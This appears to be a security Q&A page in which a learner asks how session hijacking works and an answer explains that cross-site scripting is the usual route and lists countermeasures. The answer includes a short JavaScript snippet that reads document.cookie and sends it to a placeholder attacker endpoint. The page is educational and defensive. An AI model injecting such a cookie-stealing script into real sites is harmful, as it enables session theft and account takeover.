0

I'm learning about authentication protocols and have troubles understanding, how session hijacking can be avoided.

I learnt that one countermeasure is to use authentication protocols, which bind a unique session key to a strong mutual authentication process.

So let's say, we use some kind of mutual Challenge Response protocol with AES, and include a strong, random session key. I don't really understand how session hijacking works, but I would assume that it is somehow done via code injection. So the session key, which is stored in memory, probably isn't safe and can be taken over aswell, no?

  • 1
    Seriously, assuming someone gets memory access to a machine, why the hell would you assume that anything that machine does is still under the control of the "intended" user? – Marcus Müller Jan 21 '17 at 16:55
  • @MarcusMüller The OP is simply confused about how session hijacking works and he tries to "help" by adding his hypothesis... – Gudradain Jan 24 '17 at 19:33
2

Session hijacking is accomplished most commonly through the use of cross-site scripting (XSS), which when successful can grab the session token/key and send it to a waiting attacker. The attacker can then use the session token as if they were the original authenticated user, bypassing authentication controls and accessing the application. Often the session key is simply written to a cookie on the client machine which is easily accessed through simple JavaScript browser APIs as shown below:

<script>
        // get the token
        var token = document.cookie;

        // send it to attacker through http request to waiting endpoint
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open( "GET", "badguyurl?token=" + token, false );
        xmlHttp.send();
</script>

Session hijacking prevention efforts should focus on the prevention of XSS attacks, man-in-the-middle attacks as well as using cryptographically strong tokens, and encrypting data in transit (SSL/TLS).

As Marcus points out, if an attacker has memory access to the web server hosting the application (which likely indicates an outright compromise of your web server), you have bigger problems to worry about.

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.